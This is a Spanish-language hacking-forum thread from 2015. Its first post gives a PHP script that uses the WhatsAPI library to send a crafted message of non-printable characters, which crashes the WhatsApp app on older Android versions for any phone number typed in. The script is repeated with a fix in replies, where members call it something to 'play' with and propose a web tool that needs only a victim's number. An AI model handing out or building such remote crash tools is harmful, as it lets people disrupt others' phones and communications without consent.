Saltar al contenido
Underc0de /foro

[PHP] Crashear WhatsApp usando WhatsAPI

Iniciado por elrodrix, Febrero 05, 2015, 09:52:54 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Avatar de elrodrix
Febrero 05, 2015, 09:52:54 AM Ultima modificación: Febrero 05, 2015, 06:13:38 PM por elrodrix

Que tal?. Les traigo un pequeño script en php que crashea el app de whatsapp en Android, que hasta el día de la fecha funciona. Pero esta vez usando un API en php de whatsapp; WhatsAPI.

Modo de uso de script
Código: text
root@rodrix:~# php wacrash.php 549XXXXXXXXXX


Recuerden que el num de contacto que van a crashear debe ser de 13 dígitos. En la variable $msg deben copiar y pegar el contenido del pastebin que dejo en el comentario, donde se encuentran los caracteres especiales para crashear whatsapp.

Código: php

<?php

/*
*      Title: WhatsApp Remote Crash with PHP
*      Product: WhatsApp
*      Vendor Homepage: http://www.whatsapp.com
*      Vulnerable Version(s): 2.11.476
*      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
*      Mirror: http://pastebin.com/Ktu45GN0
*      Date: 05/02/2015
*
*      Author Exploit:
*              Rodrigo Avila - @el_rodrix - <[email protected]>
*      Credits:
*              Daniel Godoy - @0xhielasangre - <[email protected]>
*              Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
*      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
*     http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
*                 http://www.exploit-db.com/exploits/35637/
*                 http://www.exploit-db.com/exploits/32865/
*
*      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
*      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
*      engaging in an interactive conversation over WhatsApp protocol
*/

require 'src/whatsprot.class.php';

function fgets_u($pStdn)
{
    $pArr = array($pStdn);

    if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
        print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");

        return FALSE;
    } elseif ($num_changed_streams > 0) {
        return trim(fgets($pStdn, 1024));
    }
    return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";

if ($argc < 2) {
    echo $usage;
    exit(1);
}

if (is_numeric($_SERVER['argv'][1])){
if (strlen($_SERVER['argv'][1]) == 13){
$dst = $_SERVER['argv'][1];
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, false);

$wa->connect();
$wa->loginWithPassword($password);

echo "\n[] Send message to $dst: $msg\n";
$wa->sendMessage($dst , $msg);
echo "\n";
exit(0);
}else{
echo $usage;
}
}else{
echo $usage;
}


Adjunto screenshot del momento que crashea el app de whatsapp en Android. Para esta PoC se utilizo un Samsung Galaxy S4, con WhatsApp+ v6.65.

Información del dispositivo:
[PHP] Crashear WhatsApp usando WhatsAPI

WhatsApp+ crashea:
[PHP] Crashear WhatsApp usando WhatsAPI

WhatsApp+ crashea:
[PHP] Crashear WhatsApp usando WhatsAPI

Información de WhatsApp app:
[PHP] Crashear WhatsApp usando WhatsAPI

Espero que les guste. Saludos.

8 respuestas

Avatar de ANTRAX
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD

Saludos!
ANTRAX


Avatar de elrodrix
Cita de: ANTRAX en Febrero 05, 2015, 10:00:00 AM
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD

Saludos!
ANTRAX

Gracias. La idea es esa, jugar jaja. Saludos

Avatar de JNIOR
Se ve interesante!! ay q probarlooo!

Avatar de DeBobiPro
Febrero 05, 2015, 04:27:26 PM #4 Ultima modificación: Febrero 05, 2015, 04:29:23 PM por DeBobiPro
interesante, pero agrego un punto y coma ( ; ) que falta en la línea 47, por si alguien lo quiere probar y no le funciona :3


Saludos!
Código: php
<?php

/*
*      Title: WhatsApp Remote Crash with PHP
*      Product: WhatsApp
*      Vendor Homepage: http://www.whatsapp.com
*      Vulnerable Version(s): 2.11.476
*      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
*      Mirror: http://pastebin.com/Ktu45GN0
*      Date: 05/02/2015
*
*      Author Exploit:
*              Rodrigo Avila - @el_rodrix - <[email protected]>
*      Credits:
*              Daniel Godoy - @0xhielasangre - <[email protected]>
*              Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
*      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
*                  http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
*                 http://www.exploit-db.com/exploits/35637/
*                 http://www.exploit-db.com/exploits/32865/
*
*      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
*      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
*      engaging in an interactive conversation over WhatsApp protocol
*/

require 'src/whatsprot.class.php';

function fgets_u($pStdn)
{
    $pArr = array($pStdn);

    if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
        print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");

        return FALSE;
    } elseif ($num_changed_streams > 0) {
        return trim(fgets($pStdn, 1024));
    }
    return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";

if ($argc < 2) {
    echo $usage;
    exit(1);
}

if (is_numeric($_SERVER['argv'][1])){
        if (strlen($_SERVER['argv'][1]) == 13){
                $dst = $_SERVER['argv'][1];
                echo "[] Logging in as '$nickname' ($sender)\n";
                $wa = new WhatsProt($sender, $imei, $nickname, false);

                $wa->connect();
                $wa->loginWithPassword($password);

                echo "\n[] Send message to $dst: $msg\n";
                $wa->sendMessage($dst , $msg);
                echo "\n";
                exit(0);
        }else{
                echo $usage;
        }
}else{
        echo $usage;
}
Nivel 77 Los enlaces son solo para miembros. Registrate o iniciá sesión

Avatar de elrodrix
Cita de: DeBobiPro en Febrero 05, 2015, 04:27:26 PM
interesante, pero agrego un punto y coma ( ; ) que falta en la línea 47, por si alguien lo quiere probar y no le funciona :3


Saludos!
Código: php
<?php

/*
*      Title: WhatsApp Remote Crash with PHP
*      Product: WhatsApp
*      Vendor Homepage: http://www.whatsapp.com
*      Vulnerable Version(s): 2.11.476
*      Tested on: WhatsApp v2.11.476 on Samsung Galaxy S4 2015 -Android 4.3
*      Mirror: http://pastebin.com/Ktu45GN0
*      Date: 05/02/2015
*
*      Author Exploit:
*              Rodrigo Avila - @el_rodrix - <[email protected]>
*      Credits:
*              Daniel Godoy - @0xhielasangre - <[email protected]>
*              Gonza Cabrera - @Gonnza_Cabrera - <[email protected]>
*
*      Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
*                  http://underc0de.org/foro/android/(poc)-crashear-la-app-de-un-contacto-de-whatsapp-(android)/msg82880/
*                 http://www.exploit-db.com/exploits/35637/
*                 http://www.exploit-db.com/exploits/32865/
*
*      Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
*      It uses WhatsAPI library, that provides us with the options of registration, reading/sending messages, and even
*      engaging in an interactive conversation over WhatsApp protocol
*/

require 'src/whatsprot.class.php';

function fgets_u($pStdn)
{
    $pArr = array($pStdn);

    if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
        print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");

        return FALSE;
    } elseif ($num_changed_streams > 0) {
        return trim(fgets($pStdn, 1024));
    }
    return null;
}
$nickname = "RemoteExecution";
$sender = "549XXXXXXXXXX"; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; // Password you received from WhatsApp
$msg = "RemoteExecution"; //Copy paste and send this message -> http://pastebin.com/bStYBbpd
$usage = "USAGE: ".$_SERVER['argv'][0]." <phone>\n \tphone: full number including country code, without '+' or '00'\n";

if ($argc < 2) {
    echo $usage;
    exit(1);
}

if (is_numeric($_SERVER['argv'][1])){
        if (strlen($_SERVER['argv'][1]) == 13){
                $dst = $_SERVER['argv'][1];
                echo "[] Logging in as '$nickname' ($sender)\n";
                $wa = new WhatsProt($sender, $imei, $nickname, false);

                $wa->connect();
                $wa->loginWithPassword($password);

                echo "\n[] Send message to $dst: $msg\n";
                $wa->sendMessage($dst , $msg);
                echo "\n";
                exit(0);
        }else{
                echo $usage;
        }
}else{
        echo $usage;
}


Corregido!. Gracias.

Avatar de rollth
Esto esta mas que genial bro, se me ocurre que se podria una api con html que haga falta solo poner el numero, si me das permiso de usar tu code me pongo a ello, no hace falta decir que con creditos tanto en la web como en el post para underc0de.
RollthBuen hacker mejor Los enlaces son solo para miembros. Registrate o iniciá sesión/Los enlaces son solo para miembros. Registrate o iniciá sesión

Avatar de elrodrix
Cita de: rollth en Febrero 05, 2015, 07:59:03 PM
Esto esta mas que genial bro, se me ocurre que se podria una api con html que haga falta solo poner el numero, si me das permiso de usar tu code me pongo a ello, no hace falta decir que con creditos tanto en la web como en el post para underc0de.
Adelante, todo tuyo. La idea es esa, compartir y que les sirva a los demas. Saludos.

Avatar de fermino
Cita de: elrodrix en Febrero 05, 2015, 10:11:55 AM
Cita de: ANTRAX en Febrero 05, 2015, 10:00:00 AM
Muy bueno bro!
Te dejo +1
Seguro que si lo ve fermino, se pondrá a jugar con esto xD

Saludos!
ANTRAX

Gracias. La idea es esa, jugar jaja. Saludos

xDD
Es que esta API está genial :P

Tal vez un módulo para Los enlaces son solo para miembros. Registrate o iniciá sesión?
Visita mi blog: Los enlaces son solo para miembros. Registrate o iniciá sesión.

Grupo de WhatsApp